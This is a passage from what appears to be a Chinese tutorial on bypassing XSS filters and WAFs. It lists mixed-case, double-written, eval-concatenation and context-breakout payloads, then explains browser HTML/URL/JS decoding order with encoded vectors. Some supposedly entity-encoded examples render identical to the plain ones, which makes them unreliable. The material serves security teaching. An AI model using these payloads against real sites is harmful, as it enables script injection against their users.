<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
双写绕过
有些WAF可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a b c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a b c)">
// 在js中,我们可以用反引号代替单双引号
利用top
<script>top["al" "ert"](`xss`);</script>
<script>top["al" "ert"]("xss");</script>
XSS 输出点总结
WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。
输出在属性里例如输出的位置位于value属性中:
<input value="[输出]" type=text>
我们可以选择直接闭合标签:
"><img src=x onerror=alert(1);>
// 输出后如下:
// <input value=""><img src=x onerror=alert(1);>" type=text>
如果 < > 被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:
" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) "
// 输出后如下:
// <input value="" autofocus onfocus=alert(1)//" type=text>
同样还有很多其他的payload:
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
还有一些特殊的场景,如:
<input type="hidden" value="[输出]" />
<input value="[输出点]" type="hidden"/>
这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本。
输出在HTML标签之间例如输出的位置如下:
<div id="body">[输出]</div>
直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:
- <title></title>
- <textarea></textarea>
- <xmp></xmp>
- <iframe></iframe>
那么就得先把那个标签闭合(后文会讲到原理),然后在注入XSS语句,例如:
</textarea><script>alert(1)</script>
输出在script标签之间
例如:
<script>
var x = "input";
</script>
可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:
";alert(1)//
// 输出后如下:
// <script>var x = "";alert(1)//";</script>
XSS 字符编码绕过
在XSS中,还有一个绕过关键字过滤的方法,那就是字符编码绕过。这里给出一个编码网站:https://bianma.bmcx.com/
编码属于计算机系统的基础知识,其内容写起来估计也可以出本书了,不过或多或少我们都有所了解,总的来说,编码就是将字符变为二进制数,而解码就是将二进制数还原为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程,下面大概介绍一下流程。
请求网页解码流程- HTML 编码/解码
当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是我们看到的源代码。具体的解码方式依具体情况而定,所以我们需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码。
但是在HTML中有些字符是和关键词冲突的,比如 <、>、&,解码之后,浏览器会误认为它们是HTML标签,如果希望正确地显示预留字符,就需要在HTML中使用对应的HTML字符实体。
字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开头,后面跟着一个预定义的实体的名称,或用开头 实体编号 分号来表示。
常见的HTML字符实体有:
显示结果 | 描述 | 实体名称 | 实体编号 |
空格 |
|
| |
< | 小于号 | < | < |
> | 大于号 | > | > |
& | 和号 | & | & |
" | 引号 | " | " |
' | 撇号 | '(IE不支持) | ' |
但并不是所有的字符都有实体名称,但是它们都有自己的实体编号。
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个 < 符号(后面没有跟 /符号)就会进入 标签开始状态(Tag open state) ,然后转变到 标签名状态(Tag name state) 、 前属性名状态(before attribute name state) ......最后进入 数据状态(Data state) 并释放当前标签的token。当解析器处于 数据状态(Data state) 时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
简单的说就是,浏览器对HTML解码之后就开始解析HTML文档,将众多标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。
所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。
- URL 解码
URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。
在服务端接收到请求时,会自动对请求进行一次URL解码。
- JavaScript 解码(只支持Unicode)
当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如 <script>、<style> 这样的标签时,解析器会自动切换到JavaScript解析模式,而 src、 href 后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。
比如 <a href="javascript:alert('\u0031')">test</a>,JavaScript 出发了 JavaScript 解释器,JavaScript 会先对内容进行解析,里边有一个转义字符\u0031,前导的 u 表示他是一个unicode 字符,根据后边的数字,解析为“1”,于是在完成 JavaScript 的解析之后变成了 <a href="javascript:alert('1')">test</a>。
下面用一个普通的XSS代码来说明一下浏览器对其解析的过程。
- <a href="javascript:alert('xss')">test</a>
首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:https://www.baidu.com,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为Javascript,因此该环境中最后一步Javascript解析器还会进行解码操作,最后解析的脚本将被执行。
整个解析顺序为3个环节:HTML解码 —>URL解码 —>JS解码
我们可以对XSS攻击向量做这三种编码都可以成功弹框。
HTML 实体编码我们可以将DOM节点中的内容转化为HTML实体,因为解析HTML之后建立起节点,然后会对DOM节点里面的HTML实体进行解析。HTML 编码主要分为10进制和16进制,格式为以 开头以分号 ; 结尾(也可以不带分号)。
- <a href=javascript:alert("xss")>test</a>
// 十进制
<a href=javascript:alert("xss")>test</a>
// 十六进制
<a href=javascript:alert("xss")>test</a>
// 也可以不带分号
<a href=javascript:alert("xss")>test</a>
- <img src=x onerror=alert("xss")>
// 十进制
<img src=x onerror=alert("xss")>
// 十六进制
<img src=x onerror=alert("xss")>
// 也可以不带分号
<img src=x onerror=alert("xss")>
但是要注意,对于HTML字符实体,并不是说任何地方都可以使用实体编码,只有处于 “数据状态中的字符引用”、“属性值状态中的字符引用” 和 “RCDATA状态中的字符引用” 这三种状态中的HTML字符实体将会从 … 形式解码,转化成对应的解码字符并被放入数据缓冲区中。
(1)数据状态中的字符引用:数据状态就是解析一个标签内里面的内容,如 <div>...</div> 中的内容,当浏览器解析完 <div> 标签之后如果发现标签内还含有实体字符的话,就会有一个实体编码解析了,如:
<div><img src=x onerror=alert("xss")></div>
如下图,此时在页面上显示的是经过转义的内容: